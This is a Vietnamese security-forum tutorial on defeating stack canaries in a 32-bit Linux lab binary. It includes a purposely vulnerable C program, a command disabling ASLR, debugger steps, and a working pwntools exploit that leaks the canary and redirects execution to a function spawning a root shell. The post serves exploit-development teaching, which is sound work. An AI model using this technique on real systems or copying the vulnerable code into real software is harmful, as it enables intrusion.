Pentest & Offsec [Buffer Overflow] Bài 3: Stack Canary

7heknight

Super Moderator
Thành viên BQT

1. Stack Canary Cookie là gì?

Stack canaries hay security cookies là những giá trị đặc biệt được thêm vào các tệp thực thi (binaries) trong quá trình biên dịch để bảo vệ các giá trị quan trọng trên stack, như Return Pointer, khỏi các cuộc tấn công buffer overflow. Nếu một giá trị canary không chính xác được phát hiện trong các giai đoạn nhất định của luồng thực thi, chẳng hạn như ngay trước khi một lệnh RET được gọi, chương trình sẽ bị chấm dứt. Sự hiện diện của chúng làm cho việc khai thác các lỗ hổng như vậy trở nên khó khăn hơn, nhưng không phải là không thể.​

2. Canary Bypassing​

2.1 Cài đặt môi trường

Source code:
C:
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

void getshell(void){
  setuid(0);
  system("/bin/sh");
}

void init(){
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void vuln(){
  char buf[100];
  for (int i=0; i<2; i++){
    read(0, buf, 0x200);
    printf(buf);
  }
}

int main(void){
  init();
  puts("Hello Hacker!");
  vuln();
  return 0;
}
Compile nó bằng gcc:
Bash:
gcc -m32 -fstack-protector-all -no-pie vulnerable.c -o vulnerable

Trong phần này, chúngta sẽ tắt ASLR:

Bash:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

2.2 Tìm offset

Tạo buffer gồm 150 ký tự A để kiểm tra xem app có crashed không

1755162675169.png


Ở đây, chương trình bị termniated và trả về output *** Stack Smashing Detected ***: terminated. Đây là dấu hiệu của đã được bảo vệ bởi stack cookie
Trong hàm vuln(), đây là một hàm gây ra lỗi Buffer Overflow, vì vậy hãy mở Debuggerdisassembly để xem chúng ta có gì.
1755163759883.png


Tôi có thể thấy ở đây có một cookie kiểm tra lỗi cục bộ, đó cũng chính là stack canary. Hãy đặt một điểm ngắt tại nop và lấy thêm thông tin.

1755164201144.png


Trong <Vuln+86>, canary di chuyển [ebp-0xc] vào eax. Vậy chúng ta có thể thấy giá trị đó là gì.
1755164254994.png

Ở đây, chúng ta có giá trị 0x16975100. Hai byte cuối cùng là 00 có nghĩa là chương trình đã được sửa lỗi và tiếp tục hoạt động.
Chúng ta đã biết flag trông như thế nào. Hãy lấy canary offsetprogram offset để làm cho chương trình bị lỗi.
1755164385669.png

1755164398360.png

Đây là ảnh về canary offset. Tiếp theo là ảnh để lấy offset của bộ đệm, nhấn stepi để chuyển đến lệnh tiếp theo và dừng tại call 0x80493d0 <__stack_chk_fail_local>.
1755164463207.png

1755164479356.png

Sau đó, tiếp tục chạy chương trình, chương trình sẽ bị lỗi và trả về địa chỉ, lấy độ lệch.

1755164511204.png

2.2 Proof of Concept (PoC)

Chúng ta đã biết kích thước của canary là 100 và kích thước của buffer là 116. Tuy nhiên, chúng ta không biết có bao nhiêu byte sẽ được thêm vào cờ (flag) nếu chương trình không chấp nhận. Vì vậy, hãy tạo một buffer 100 ký tự 'A' để kiểm tra.
1755164594948.png

1755164606330.png

Như bạn thấy ở ảnh trên, tôi đã thay đổi giá trị từ 0x883c570a thành 0x883c5700. Điều này có nghĩa là chương trình sẽ tiếp tục chạy mà không bị canary chấm dứt. Nhấn continue và chương trình hoạt động bình thường.
1755164676550.png

Viết mã khai thác bằng thư viện pwn của Python.

Python:
#!/usr/bin/python3
from pwn import *
from struct import pack

get_shell = pack('<I', 0x80491c2) # Address of getshell()
exploit = process('./vulnerable')
exploit.recvuntil(b"Hello Hacker!")

payload = b'A'*100
exploit.sendline(payload)
exploit.recvuntil(b'A'*100)
canary = u32(exploit.recv(4))-0xa
log.info("Canary: " + hex(canary))

payload = b'A'*100 + p32(canary) + b'A'*12 + get_shell
exploit.send(payload)
exploit.recv()
exploit.interactive()

1755164737959.png

3. Reference

- https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage
- https://github.com/7heKnight/7heknight.pwn/tree/main/INE/Linux Exploit Development/Data Execution Prevention (DEP)/Canary
 
Back
Top